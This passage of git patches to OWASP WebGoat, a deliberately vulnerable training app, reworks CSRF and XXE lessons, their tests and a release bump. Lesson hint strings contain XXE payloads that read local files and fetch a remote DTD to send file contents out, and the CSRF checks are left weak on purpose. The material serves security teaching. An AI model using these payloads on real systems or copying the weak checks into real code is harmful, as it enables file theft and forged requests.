SUPER_COUPON_CODE)) + .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true))); + } + + @Test + public void wrongCouponCode() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.post("/clientSideFiltering/getItForFree") + .param("checkoutCode", "test")) + .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved")))) + .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false))); + } +} \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge2/ShopEndpointTest.java b/webgoat-lessons/client-side-filtering/src/test/java/org/owasp/webgoat/plugin/ShopEndpointTest.java similarity index 74% rename from webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge2/ShopEndpointTest.java rename to webgoat-lessons/client-side-filtering/src/test/java/org/owasp/webgoat/plugin/ShopEndpointTest.java index e50e2aa8f9..c691891686 100644 --- a/webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge2/ShopEndpointTest.java +++ b/webgoat-lessons/client-side-filtering/src/test/java/org/owasp/webgoat/plugin/ShopEndpointTest.java @@ -1,4 +1,4 @@ -package org.owasp.webgoat.plugin.challenge2; +package org.owasp.webgoat.plugin; import org.hamcrest.CoreMatchers; import org.junit.Before; @@ -9,7 +9,7 @@ import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; import static org.hamcrest.Matchers.is; -import static org.owasp.webgoat.plugin.SolutionConstants.SUPER_COUPON_CODE; +import static org.owasp.webgoat.plugin.ClientSideFilteringFreeAssignment.SUPER_COUPON_CODE; import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup; @@ -30,28 +30,28 @@ public void setup() { @Test public void getSuperCoupon() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.get("/challenge-store/coupons/" + SUPER_COUPON_CODE)) + mockMvc.perform(MockMvcRequestBuilders.get("/clientSideFiltering/challenge-store/coupons/" + SUPER_COUPON_CODE)) .andExpect(jsonPath("$.code", CoreMatchers.is(SUPER_COUPON_CODE))) .andExpect(jsonPath("$.discount", CoreMatchers.is(100))); } @Test public void getCoupon() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.get("/challenge-store/coupons/webgoat")) + mockMvc.perform(MockMvcRequestBuilders.get("/clientSideFiltering/challenge-store/coupons/webgoat")) .andExpect(jsonPath("$.code", CoreMatchers.is("webgoat"))) .andExpect(jsonPath("$.discount", CoreMatchers.is(25))); } @Test public void askForUnknownCouponCode() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.get("/challenge-store/coupons/does-not-exists")) + mockMvc.perform(MockMvcRequestBuilders.get("/clientSideFiltering/challenge-store/coupons/does-not-exists")) .andExpect(jsonPath("$.code", CoreMatchers.is("no"))) .andExpect(jsonPath("$.discount", CoreMatchers.is(0))); } @Test public void fetchAllTheCouponsShouldContainGetItForFree() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.get("/challenge-store/coupons/")) + mockMvc.perform(MockMvcRequestBuilders.get("/clientSideFiltering/challenge-store/coupons/")) .andExpect(jsonPath("$.codes[3].code", is("get_it_for_free"))); } diff --git a/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/SimpleXXETest.java b/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/SimpleXXETest.java index ae826e9957..21d4c48cd9 100644 --- a/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/SimpleXXETest.java +++ b/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/SimpleXXETest.java @@ -28,7 +28,6 @@ public void setup() throws Exception { when(webSession.getUserName()).thenReturn("unit-test"); } - @Test public void workingAttack() throws Exception { //Call with XXE injection From 1edceb0aa8a0596be6b760b14b977e9b4c5e9971 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 27 May 2018 20:37:44 +0200 Subject: [PATCH 68/76] Extended and fixed some lessons --- .../webgoat/plugin/CSRFConfirmFlag1.java | 14 ++- .../owasp/webgoat/plugin/CSRFFeedback.java | 10 +- .../org/owasp/webgoat/plugin/CSRFGetFlag.java | 32 +++-- .../owasp/webgoat/plugin/CSRFGetXhrFlag.java | 69 ---------- .../owasp/webgoat/plugin/ForgedReviews.java | 15 +-- .../csrf/src/main/resources/html/CSRF.html | 119 ++++++++++-------- .../resources/i18n/WebGoatLabels.properties | 2 +- .../lessonPlans/en/CSRF_Frameworks.adoc | 7 +- .../lessonPlans/en/CSRF_Impact_Defense.adoc | 15 ++- .../webgoat/plugin/CSRFFeedbackTest.java | 5 +- .../plugin/BlindSendFileAssignment.java | 2 + .../org/owasp/webgoat/plugin/SimpleXXE.java | 2 +- .../resources/i18n/WebGoatLabels.properties | 16 ++- .../xxe/src/main/resources/images/example.dtd | 5 + .../en/XXE_changing_content_type.adoc | 2 +- .../plugin/BlindSendFileAssignmentTest.java | 3 + 16 files changed, 151 insertions(+), 167 deletions(-) delete mode 100644 webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFGetXhrFlag.java create mode 100644 webgoat-lessons/xxe/src/main/resources/images/example.dtd diff --git a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFConfirmFlag1.java b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFConfirmFlag1.java index 5710a799e2..4cf8f22eb2 100644 --- a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFConfirmFlag1.java +++ b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFConfirmFlag1.java @@ -14,19 +14,23 @@ */ @AssignmentPath("/csrf/confirm-flag-1") -@AssignmentHints({"csrf-get.hint1","csrf-get.hint2","csrf-get.hint3","csrf-get.hint4"}) +@AssignmentHints({"csrf-get.hint1", "csrf-get.hint2", "csrf-get.hint3", "csrf-get.hint4"}) public class CSRFConfirmFlag1 extends AssignmentEndpoint { @Autowired UserSessionData userSessionData; @PostMapping(produces = {"application/json"}) - public @ResponseBody AttackResult completed(String confirmFlagVal) { + public @ResponseBody + AttackResult completed(String confirmFlagVal) { - if (confirmFlagVal.equals(userSessionData.getValue("csrf-get-success").toString())) { - return success().feedback("csrf-get-null-referer.success").output("Correct, the flag was " + userSessionData.getValue("csrf-get-success")).build(); + Object userSessionDataStr = userSessionData.getValue("csrf-get-success"); + if (userSessionDataStr != null && confirmFlagVal.equals(userSessionDataStr.toString())) { + return trackProgress( + success().feedback("csrf-get-null-referer.success").output("Correct, the flag was " + userSessionData.getValue("csrf-get-success")).build() + ); } - return failed().feedback("").build(); + return trackProgress(failed().build()); } } diff --git a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFFeedback.java b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFFeedback.java index 2fdce69588..0acd8bbfeb 100644 --- a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFFeedback.java +++ b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFFeedback.java @@ -40,7 +40,7 @@ public AttackResult completed(HttpServletRequest request, @RequestBody String fe try { objectMapper.readValue(feedback.getBytes(), Map.class); } catch (IOException e) { - return failed().feedback(ExceptionUtils.getStackTrace(e)).build(); + return failed().feedback(ExceptionUtils.getStackTrace(e)).build(); } boolean correctCSRF = requestContainsWebGoatCookie(request.getCookies()) && request.getContentType().equals(MediaType.TEXT_PLAIN_VALUE); correctCSRF &= hostOrRefererDifferentHost(request); @@ -64,8 +64,12 @@ public AttackResult flag(@RequestParam("confirmFlagVal") String flag) { private boolean hostOrRefererDifferentHost(HttpServletRequest request) { String referer = request.getHeader("referer"); - String host = request.getHeader("host"); - return !StringUtils.contains(referer, host); + String origin = request.getHeader("origin"); + if (referer != null) { + return !referer.contains(origin); + } else { + return true; //this case referer is null or origin does not matter we cannot compare so we return true which should of course be false + } } private boolean requestContainsWebGoatCookie(Cookie[] cookies) { diff --git a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFGetFlag.java b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFGetFlag.java index 56fdde8d66..ecc486b7f4 100644 --- a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFGetFlag.java +++ b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFGetFlag.java @@ -31,7 +31,7 @@ public class CSRFGetFlag extends Endpoint { @ResponseBody public Map invoke(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { - Map response = new HashMap<>(); + Map response = new HashMap<>(); String host = (req.getHeader("host") == null) ? "NULL" : req.getHeader("host"); // String origin = (req.getHeader("origin") == null) ? "NULL" : req.getHeader("origin"); @@ -40,22 +40,32 @@ public Map invoke(HttpServletRequest req, HttpServletResponse re String referer = (req.getHeader("referer") == null) ? "NULL" : req.getHeader("referer"); String[] refererArr = referer.split("/"); - if (referer.equals("NULL") && req.getParameter("csrf").equals("true")) { - Random random = new Random(); - userSessionData.setValue("csrf-get-success", random.nextInt(65536)); - response.put("success",true); - response.put("message",pluginMessages.getMessage("csrf-get-null-referer.success")); - response.put("flag",userSessionData.getValue("csrf-get-success")); - } else if (refererArr[2].equals(host)) { + + + if (referer.equals("NULL")) { + if (req.getParameter("csrf").equals("true")) { + Random random = new Random(); + userSessionData.setValue("csrf-get-success", random.nextInt(65536)); + response.put("success", true); + response.put("message", pluginMessages.getMessage("csrf-get-null-referer.success")); + response.put("flag", userSessionData.getValue("csrf-get-success")); + } else { + Random random = new Random(); + userSessionData.setValue("csrf-get-success", random.nextInt(65536)); + response.put("success", true); + response.put("message", pluginMessages.getMessage("csrf-get-other-referer.success")); + response.put("flag", userSessionData.getValue("csrf-get-success")); + } + } else if (refererArr[2].equals(host)) { response.put("success", false); response.put("message", "Appears the request came from the original host"); response.put("flag", null); } else { Random random = new Random(); userSessionData.setValue("csrf-get-success", random.nextInt(65536)); - response.put("success",true); - response.put("message",pluginMessages.getMessage("csrf-get-other-referer.success")); - response.put("flag",userSessionData.getValue("csrf-get-success")); + response.put("success", true); + response.put("message", pluginMessages.getMessage("csrf-get-other-referer.success")); + response.put("flag", userSessionData.getValue("csrf-get-success")); } return response; diff --git a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFGetXhrFlag.java b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFGetXhrFlag.java deleted file mode 100644 index f7f2e246d4..0000000000 --- a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFGetXhrFlag.java +++ /dev/null @@ -1,69 +0,0 @@ -package org.owasp.webgoat.plugin; - -import org.owasp.webgoat.assignments.Endpoint; -import org.owasp.webgoat.i18n.PluginMessages; -import org.owasp.webgoat.session.UserSessionData; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RequestMethod; -import org.springframework.web.bind.annotation.ResponseBody; - -import javax.servlet.ServletException; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.IOException; -import java.util.HashMap; -import java.util.Map; -import java.util.Random; - -/** - * Created by jason on 9/30/17. - */ - -public class CSRFGetXhrFlag extends Endpoint { - - @Autowired - UserSessionData userSessionData; - @Autowired - private PluginMessages pluginMessages; - - @RequestMapping(produces = {"application/json"}, method = RequestMethod.GET) - @ResponseBody - public Map invoke(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { - - Map response = new HashMap<>(); - - String host = (req.getHeader("host") == null) ? "NULL" : req.getHeader("host"); -// String origin = (req.getHeader("origin") == null) ? "NULL" : req.getHeader("origin"); -// Integer serverPort = (req.getServerPort() < 1) ? 0 : req.getServerPort(); -// String serverName = (req.getServerName() == null) ? "NULL" : req.getServerName(); - String referer = (req.getHeader("referer") == null) ? "NULL" : req.getHeader("referer"); - String[] refererArr = referer.split("/"); - - if (referer.equals("NULL") && req.getParameter("csrf").equals("true")) { - Random random = new Random(); - userSessionData.setValue("csrf-get-success", random.nextInt(65536)); - response.put("success",true); - response.put("message",pluginMessages.getMessage("csrf-get-null-referer.success")); - response.put("flag",userSessionData.getValue("csrf-get-success")); - } else if (refererArr[2].equals(host)) { - response.put("success", false); - response.put("message", "Appears the request came from the original host"); - response.put("flag", null); - } else { - Random random = new Random(); - userSessionData.setValue("csrf-get-success", random.nextInt(65536)); - response.put("success",true); - response.put("message",pluginMessages.getMessage("csrf-get-other-referer.success")); - response.put("flag",userSessionData.getValue("csrf-get-success")); - } - - return response; - - } - - @Override - public String getPath() { - return "/csrf/get-xhr-flag"; - } -} diff --git a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/ForgedReviews.java b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/ForgedReviews.java index b3305b4151..f27684843c 100644 --- a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/ForgedReviews.java +++ b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/ForgedReviews.java @@ -115,22 +115,13 @@ public AttackResult createNewReview (String reviewText, Integer stars, String va userReviews.put(webSession.getUserName(), reviews); //short-circuit if (validateReq == null || !validateReq.equals(weakAntiCSRF)) { - return failed().feedback("csrf-you-forgot-something").build(); + return trackProgress(failed().feedback("csrf-you-forgot-something").build()); } //we have the spoofed files if (referer != "NULL" && refererArr[2].equals(host) ) { - return (failed().feedback("csrf-same-host").build()); + return trackProgress(failed().feedback("csrf-same-host").build()); } else { - return (success().feedback("csrf-review.success").build()); //feedback("xss-stored-comment-failure") - } - } - - private Review parseJson(String comment) { - ObjectMapper mapper = new ObjectMapper(); - try { - return mapper.readValue(comment, Review.class); - } catch (IOException e) { - return new Review(); + return trackProgress(success().feedback("csrf-review.success").build()); //feedback("xss-stored-comment-failure") } } } diff --git a/webgoat-lessons/csrf/src/main/resources/html/CSRF.html b/webgoat-lessons/csrf/src/main/resources/html/CSRF.html index 0e56a7c311..fc74634611 100644 --- a/webgoat-lessons/csrf/src/main/resources/html/CSRF.html +++ b/webgoat-lessons/csrf/src/main/resources/html/CSRF.html @@ -15,6 +15,7 @@
@@ -26,10 +27,12 @@
+
+
- +
+
+
+
@@ -56,9 +62,9 @@ -
-
+ +
@@ -133,65 +139,71 @@
24 days ago
padding: 7px; margin-top:7px; padding:5px;"> -
-
-
-
-
-
-
-
-
- - -
-
- -
+
+
+
+
+
+
+ +
+
+
+ + +
+
+ +
-
+
+
+
+ + +
-
- - +
+
+ + +
-
-
-
- - +
+
-
- -
-
- + +
+
+
@@ -211,7 +223,6 @@
24 days ago
-
diff --git a/webgoat-lessons/csrf/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/csrf/src/main/resources/i18n/WebGoatLabels.properties index 5571650f5c..81ac024956 100644 --- a/webgoat-lessons/csrf/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/csrf/src/main/resources/i18n/WebGoatLabels.properties @@ -20,7 +20,7 @@ csrf-review-hint3=This one has a weak anti-CSRF protection, but you do need to o csrf-feedback-hint1=Look at the content-type. csrf-feedback-hint2=Try to post the same message with content-type text/plain -csrf-feedback-hint3=The json can be put into a hidden field inside +csrf-feedback-hint3=The json can be put into a hidden field inside csrf-feedback-invalid-json=Invalid JSON received. csrf-feedback-success=Congratulations you have found the correct solution, the flag is: {0} diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Frameworks.adoc b/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Frameworks.adoc index dff9a78c19..43b9d31f62 100644 --- a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Frameworks.adoc +++ b/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Frameworks.adoc @@ -13,9 +13,14 @@ match and this will ensure the server the request is running on the same domain. Remember the session cookie should always be defined with http-only flag. -Another effective defense can be to add a custom request header to each call. This will work if all the interactions +== Custom headers not safe + +Another defense can be to add a custom request header to each call. This will work if all the interactions with the server are performed with JavaScript. On the server side you only need to check the presence of this header if this header is not present deny the request. +Some frameworks offer this implementation by default however researcer Alex Infuhr found out that this can be bypassed +as well. You can read about: http://insert-blogspot.nl/2018/05/adobe-reader-pdf-client-side-request.html?m=1[Adobe Reader PDF - Client Side Request Injection] + diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Impact_Defense.adoc b/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Impact_Defense.adoc index f1faab81b8..c6ef48c1cd 100644 --- a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Impact_Defense.adoc +++ b/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Impact_Defense.adoc @@ -4,7 +4,20 @@ The impact is limited only by what the logged in user can do (if the site/functi The areas that are really prone to CSRF attacks are IoT devices and 'smart' appliances. Sadly, many consumer-grade routers have also proven vulnerable to CSRF. -== CSRF Solution +== CSRF solutions + +=== Same site cookie attribute + +This is a new extension which modern browsers support which limits the scope of the cookie such that it will only be +attached to requests if those requests are 'same-site' +For example requests for `http://webgoat.org/something` will attach same-site cookies if the request is initiated from +`webgoat.org`. +There are two modes, strict and lax. The first one does not allow cross site request, this means when you are on +github.com and you want to like it through Facebook (and Facebook specifies same-site as strict) you will be +redirected to the login page, because the browser does not attach the cookie for Facebook. +More information can be found here: www.sjoerdlangkemper.nl/2016/04/14/preventin-csrf-with-samesite-cookie-attribute/ + +=== Other protections Fortunately, many (web) application frameworks now come with built in support to handle CSRF attacks. For example, Spring and Tomcat have this on by default. As long as you don't turn it off (like it is in WebGoat), you should be safe from CSRF attacks. diff --git a/webgoat-lessons/csrf/src/test/java/org/owasp/webgoat/plugin/CSRFFeedbackTest.java b/webgoat-lessons/csrf/src/test/java/org/owasp/webgoat/plugin/CSRFFeedbackTest.java index 98c44077f0..495a2cf9ba 100644 --- a/webgoat-lessons/csrf/src/test/java/org/owasp/webgoat/plugin/CSRFFeedbackTest.java +++ b/webgoat-lessons/csrf/src/test/java/org/owasp/webgoat/plugin/CSRFFeedbackTest.java @@ -46,13 +46,10 @@ public void csrfAttack() throws Exception { mockMvc.perform(post("/csrf/feedback/message") .contentType(MediaType.TEXT_PLAIN) .cookie(new Cookie("JSESSIONID", "test")) - .header("host", "localhost:8080") + .header("origin", "localhost:8080") .header("referer", "webgoat.org") .content("{\"name\": \"Test\", \"email\": \"test1233@dfssdf.de\", \"subject\": \"service\", \"message\":\"dsaffd\"}")) .andExpect(jsonPath("lessonCompleted", is(true))) .andExpect(jsonPath("feedback", StringContains.containsString("the flag is: "))); } - - - } \ No newline at end of file diff --git a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/BlindSendFileAssignment.java b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/BlindSendFileAssignment.java index 750aaf8768..9f48290cf2 100644 --- a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/BlindSendFileAssignment.java +++ b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/BlindSendFileAssignment.java @@ -4,6 +4,7 @@ import com.google.common.io.Files; import lombok.SneakyThrows; import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentHints; import org.owasp.webgoat.assignments.AssignmentPath; import org.owasp.webgoat.assignments.AttackResult; import org.springframework.beans.factory.annotation.Autowired; @@ -49,6 +50,7 @@ * @since November 18, 2016 */ @AssignmentPath("xxe/blind") +@AssignmentHints({"xxe.blind.hints.1","xxe.blind.hints.2","xxe.blind.hints.3","xxe.blind.hints.4","xxe.blind.hints.5"}) public class BlindSendFileAssignment extends AssignmentEndpoint { static final String CONTENTS = "WebGoat 8.0 rocks... (" + randomAlphabetic(10) + ")"; diff --git a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/SimpleXXE.java b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/SimpleXXE.java index 0cc4f0069c..acbdeaa688 100644 --- a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/SimpleXXE.java +++ b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/SimpleXXE.java @@ -51,7 +51,7 @@ * @since 4/8/17. */ @AssignmentPath("xxe/simple") -@AssignmentHints({"xxe.hints.simple.xxe.1", "xxe.hints.simple.xxe.2", "xxe.hints.simple.xxe.3", "xxe.hints.simple.xxe.4"}) +@AssignmentHints({"xxe.hints.simple.xxe.1", "xxe.hints.simple.xxe.2", "xxe.hints.simple.xxe.3", "xxe.hints.simple.xxe.4", "xxe.hints.simple.xxe.5", "xxe.hints.simple.xxe.6"}) public class SimpleXXE extends AssignmentEndpoint { private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"}; diff --git a/webgoat-lessons/xxe/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/xxe/src/main/resources/i18n/WebGoatLabels.properties index 5ef01ab9db..9af5a63009 100644 --- a/webgoat-lessons/xxe/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/xxe/src/main/resources/i18n/WebGoatLabels.properties @@ -30,9 +30,17 @@ xxe.content.output=Welcome {0} you can now login to our website xxe.blind.output=Contents of the file is: {0} xxe.hints.simple.xxe.1=Try submitting the form and see what happens -xxe.hints.simple.xxe.2=XXE stands for XML External Entity attack -xxe.hints.simple.xxe.3=Try to include your own DTD -xxe.hints.simple.xxe.4=Try to include a doctype "(<!DOCTYPE...)" in the xml +xxe.hints.simple.xxe.2=Use ZAP/Burp to intercept the request and try to include your own DTD +xxe.hints.simple.xxe.3=Try to include a doctype "(<!DOCTYPE...)" in the xml +xxe.hints.simple.xxe.4=The include can be as follows: <!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]> +xxe.hints.simple.xxe.5=Do not forget to reference the entity +xxe.hints.simple.xxe.6=In the comment you should references: <comment><text>&root;test</text></comment> xxe.hints.content.type.xxe.1=Take a look at the content type -xxe.hints.content.type.xxe.2=Does the endpoint only accept json messages? \ No newline at end of file +xxe.hints.content.type.xxe.2=Does the endpoint only accept json messages? + +xxe.blind.hints.1=This assignment is more complicated you need to upload the contents of a file to the attackers site (WebWolf in this case) +xxe.blind.hints.2=In this case you cannot combine external entities in combination with internal entities. +xxe.blind.hints.3=Use parameter entities to perform the attack, see for example: https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/ +xxe.blind.hints.4=An example DTD can be found here WebGoat/images/example.dtd, include this DTD in the xml comment +xxe.blind.hints.5=Use for the comment, be aware to replace the url accordingly: <?xml version="1.0"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "http://localhost:8081/files/test1234/test.dtd">%remote;]><comment><text>test&send;</text></comment> diff --git a/webgoat-lessons/xxe/src/main/resources/images/example.dtd b/webgoat-lessons/xxe/src/main/resources/images/example.dtd new file mode 100644 index 0000000000..9753b5c2f7 --- /dev/null +++ b/webgoat-lessons/xxe/src/main/resources/images/example.dtd @@ -0,0 +1,5 @@ + + +"> +%all; + ~ \ No newline at end of file diff --git a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_changing_content_type.adoc b/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_changing_content_type.adoc index 80b948ba4f..77d9cacc8e 100644 --- a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_changing_content_type.adoc +++ b/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_changing_content_type.adoc @@ -3,5 +3,5 @@ In modern REST frameworks the server might be able to accepts data formats that you as a developer did not think about. So this might result in JSON endpoints being vulnerable to XXE attacks. -Again same exercise but try to perform the same XML injection as we did in first assigment. +Again same exercise but try to perform the same XML injection as we did in first assignment. diff --git a/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/BlindSendFileAssignmentTest.java b/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/BlindSendFileAssignmentTest.java index c78293daf3..4efbca7c48 100644 --- a/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/BlindSendFileAssignmentTest.java +++ b/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/BlindSendFileAssignmentTest.java @@ -71,6 +71,7 @@ public void wrongXmlShouldGiveErrorBack() throws Exception { @Test public void solve() throws Exception { File targetFile = new File(webGoatHomeDirectory, "/XXE/secret.txt"); + //Host DTD on WebWolf site String dtd = "\n" + "\n" + "\">\n" + @@ -80,6 +81,8 @@ public void solve() throws Exception { .withStatus(200) .withBody(dtd))); webwolfServer.stubFor(get(urlMatching("/landing.*")).willReturn(aResponse().withStatus(200))); + + //Make the request from WebGoat String xml = "" + "" + From 55793dd1533cae76c617b959920ada4df2a3790b Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 27 May 2018 20:54:50 +0200 Subject: [PATCH 69/76] New release v8.0.0.M15 --- CREATE_RELEASE.MD | 4 ++-- pom.xml | 2 +- webgoat-container/pom.xml | 2 +- webgoat-lessons/auth-bypass/pom.xml | 2 +- webgoat-lessons/bypass-restrictions/pom.xml | 2 +- webgoat-lessons/challenge/pom.xml | 2 +- webgoat-lessons/client-side-filtering/pom.xml | 2 +- webgoat-lessons/cross-site-scripting/pom.xml | 2 +- webgoat-lessons/csrf/pom.xml | 2 +- webgoat-lessons/html-tampering/pom.xml | 2 +- webgoat-lessons/http-basics/pom.xml | 2 +- webgoat-lessons/http-proxies/pom.xml | 2 +- webgoat-lessons/idor/pom.xml | 2 +- webgoat-lessons/insecure-deserialization/pom.xml | 2 +- webgoat-lessons/insecure-login/pom.xml | 2 +- webgoat-lessons/jwt/pom.xml | 2 +- webgoat-lessons/missing-function-ac/pom.xml | 2 +- webgoat-lessons/password-reset/pom.xml | 2 +- webgoat-lessons/pom.xml | 4 ++-- webgoat-lessons/sql-injection/pom.xml | 2 +- webgoat-lessons/vulnerable-components/pom.xml | 2 +- webgoat-lessons/webgoat-introduction/pom.xml | 2 +- webgoat-lessons/webwolf-introduction/pom.xml | 2 +- webgoat-lessons/xxe/pom.xml | 2 +- webgoat-server/pom.xml | 2 +- webwolf/pom.xml | 2 +- 26 files changed, 28 insertions(+), 28 deletions(-) diff --git a/CREATE_RELEASE.MD b/CREATE_RELEASE.MD index 885c7a2fcf..f9199020d9 100644 --- a/CREATE_RELEASE.MD +++ b/CREATE_RELEASE.MD @@ -20,8 +20,8 @@ git flow release publish Now we can make a new release, be sure you committed all your changes. ``` -git tag v8.0.0.M3 -git push origin v8.0.0.M3 +git tag v8.0.0.M15 +git push origin v8.0.0.M15 ``` Now Travis takes over and will create the release in Github and on Docker Hub. diff --git a/pom.xml b/pom.xml index 4b75535ed6..ca4c1caf86 100644 --- a/pom.xml +++ b/pom.xml @@ -5,7 +5,7 @@ org.owasp.webgoat webgoat-parent pom - v8.0.0.M14 + v8.0.0.M15 WebGoat Parent Pom Parent Pom for the WebGoat Project. A deliberately insecure Web Application diff --git a/webgoat-container/pom.xml b/webgoat-container/pom.xml index 76f86c160a..3894d08698 100644 --- a/webgoat-container/pom.xml +++ b/webgoat-container/pom.xml @@ -10,7 +10,7 @@ org.owasp.webgoat webgoat-parent - v8.0.0.M14 + v8.0.0.M15 diff --git a/webgoat-lessons/auth-bypass/pom.xml b/webgoat-lessons/auth-bypass/pom.xml index 22253bee4d..2e63e366af 100644 --- a/webgoat-lessons/auth-bypass/pom.xml +++ b/webgoat-lessons/auth-bypass/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.M15 diff --git a/webgoat-lessons/bypass-restrictions/pom.xml b/webgoat-lessons/bypass-restrictions/pom.xml index 8ae0f4f4c4..4e8455ae42 100755 --- a/webgoat-lessons/bypass-restrictions/pom.xml +++ b/webgoat-lessons/bypass-restrictions/pom.xml @@ -6,6 +6,6 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.M15 diff --git a/webgoat-lessons/challenge/pom.xml b/webgoat-lessons/challenge/pom.xml index 60639ca635..69db4dd4d8 100644 --- a/webgoat-lessons/challenge/pom.xml +++ b/webgoat-lessons/challenge/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.M15 diff --git a/webgoat-lessons/client-side-filtering/pom.xml b/webgoat-lessons/client-side-filtering/pom.xml index 95970426a6..b60276ec5b 100644 --- a/webgoat-lessons/client-side-filtering/pom.xml +++ b/webgoat-lessons/client-side-filtering/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.M15 diff --git a/webgoat-lessons/cross-site-scripting/pom.xml b/webgoat-lessons/cross-site-scripting/pom.xml index 71723d5b38..86709473c3 100644 --- a/webgoat-lessons/cross-site-scripting/pom.xml +++ b/webgoat-lessons/cross-site-scripting/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.M15 diff --git a/webgoat-lessons/csrf/pom.xml b/webgoat-lessons/csrf/pom.xml index fdc72d3f48..e11a77edda 100644 --- a/webgoat-lessons/csrf/pom.xml +++ b/webgoat-lessons/csrf/pom.xml @@ -6,6 +6,6 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.M15 \ No newline at end of file diff --git a/webgoat-lessons/html-tampering/pom.xml b/webgoat-lessons/html-tampering/pom.xml index f90a5c8620..ec3f51ffe1 100755 --- 